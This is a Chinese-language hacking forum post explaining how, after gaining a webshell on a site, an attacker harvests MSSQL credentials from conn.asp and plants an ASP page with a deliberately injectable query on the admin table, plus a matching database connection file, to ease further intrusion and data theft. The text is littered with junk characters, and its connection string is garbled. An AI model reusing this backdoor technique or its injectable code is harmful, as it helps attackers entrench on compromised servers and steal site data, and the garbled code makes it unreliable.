自己构造注入点方便入侵
+ [: c& q( u! L2 D3 P: G
6 x" a2 J2 Y5 [5 Q4 A/ i/ p今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息9 K& j1 `/ @% K6 p1 G9 ?. o
4 W( a; Z, }* K1 Z9 Q. ]这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!" `# M- ?/ N$ w, Q
. h- T% }2 S$ \7 }, k$ c
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
; w' M0 ]- b( S7 Q J3 |
( s5 g" ~8 U2 h2 X+ \( Q9 J密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
0 J1 P. T/ K, Q% r1 O+ o% d3 D, m [# d$ Q2 k J% p7 Q
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
) f8 ?/ ?& c; M1 ]
+ X0 _; Y9 N# h5 {$ K程序代码* e1 J4 Z* t, ]3 X5 U
<!--#include file="xx.asp"-->
3 S9 }% X. U: B7 e4 O<%
5 E# \7 j3 h. L# R* b6 n. lset rs=server.createobject("ADODB.recordset")' V4 i; C/ _ @; y* F
id = request("id")' y, u+ o( h6 j Y# N) y' f
strSQL = "select * from admin where id=" & id
& v+ {4 G4 F1 t5 G8 m+ R; f/ M- Jrs.open strSQL,conn,1,3
1 h1 K1 {( l$ k7 g) brs.close3 V" e1 d( p1 q: d
%>
; J6 ^. _& M0 P; Z; _! ?
0 s* ?3 O" r' w! Z+ V% Q2 A; g4 T把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在' Q- ?' ]# }! N2 H
1 |& u5 L" H N
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!; L7 k7 z# @6 q' Y, e0 o
4 Y3 W. t1 t$ u5 Z+ y& s然后就要构造一个连接数据库的文件了,代码如下:: e5 k$ a6 {% Y7 C& m
程序代码
* o( A5 B6 h8 A& \& S0 K$ f<%
* a- Q$ a" n6 S kstrSQLServerName = "000.000.000.000" '服务器名称或地址
8 K/ B* |$ s; z% G/ ~strSQLDBUserName = "sqlname" '数据库帐号+ n2 T5 R- x* y7 r, O
strSQLDBPassword = "sqlpass" '数据库密码5 t" {% Q4 B) Y" E$ s
strSQLDBName = "sqldataname" '数据库名称 `# k1 O' m) e# V! b
Set conn = Server.CreateObject("ADODB.Connection")
- W2 L, u+ k0 n) n7 P# IstrCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
4 \# d7 J4 `0 N/ P; o. q( Lconn.open strCon
3 ~: |5 x/ a" h% ? U%>. [$ r5 k) u; g+ B9 `/ l5 d
. w+ P7 q8 q5 Y& n! r- l! \
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,, ^ e# ~7 d) q9 `
) b5 W3 K- ?, V3 ?0 Z) C
就这样,正常情况下,就OK了,伪造成功……$ M' J+ k4 B6 @$ R d! z4 ^* P
3 @; h' k+ g3 B
如果有什么问题可以提出来大家一起探讨解决。 |